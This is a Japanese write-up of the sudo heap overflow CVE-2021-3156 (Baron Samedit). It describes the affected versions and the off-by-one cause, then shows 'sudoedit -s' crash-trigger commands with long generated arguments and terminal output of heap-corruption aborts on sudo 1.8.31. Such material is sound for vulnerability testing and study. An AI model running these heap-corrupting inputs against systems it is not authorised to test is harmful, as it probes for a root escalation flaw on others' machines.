
CVE-2021-3156 (Baron Samedit) のエクスプロイト。sudo バージョン 1.8.2-1.8.31p2 および 1.9.0-1.9.5p1 におけるヒープベースのバッファオーバーフローであり、sudoedit -s と細工されたバックスラッシュ引数を使用して root への権限昇格を可能にします。
Baron Samedit 脆弱性 (CVE-2021-3156) は、sudo レガシーバージョン 1.8.2 から 1.8.31p2、および安定版バージョン 1.9.0 から 1.9.5p1 に影響します。このヒープベースのバッファオーバーフローの欠陥は、2011年7月にコミット 8255ed69 で導入され、約10年間検出されませんでした。
Sudo 1.9.5p2 より前のバージョンには、1バイトずれエラーがあり、ヒープベースのバッファオーバーフローを引き起こす可能性があります。これにより、"sudoedit -s" と、末尾に1つのバックスラッシュ文字を含むコマンドライン引数を使用して、root への権限昇格が可能になります。
sudoedit -s '\' $(python3 -c 'print("A"*1000)')
malloc(): invalid size (unsorted)
Aborted
sudoedit -s '\' `perl -e 'print "A" x 65536'`
malloc(): corrupted top size
Aborted (core dumped)
shuhaib@somebox:~$ sudo --version
Sudo version 1.8.31
Sudoers policy plugin version 1.8.31
Sudoers file grammar version 46
Sudoers I/O plugin version 1.8.31
shuhaib@somebox:~$ sudoedit -s '\' $(python3 -c 'print("A"*1000)')
malloc(): invalid size (unsorted)
Aborted (core dumped)
shuhaib@somebox:~$ sudoedit -s '\' `perl -e 'print "A" x 65536'`
malloc(): corrupted top size
Aborted (core dumped)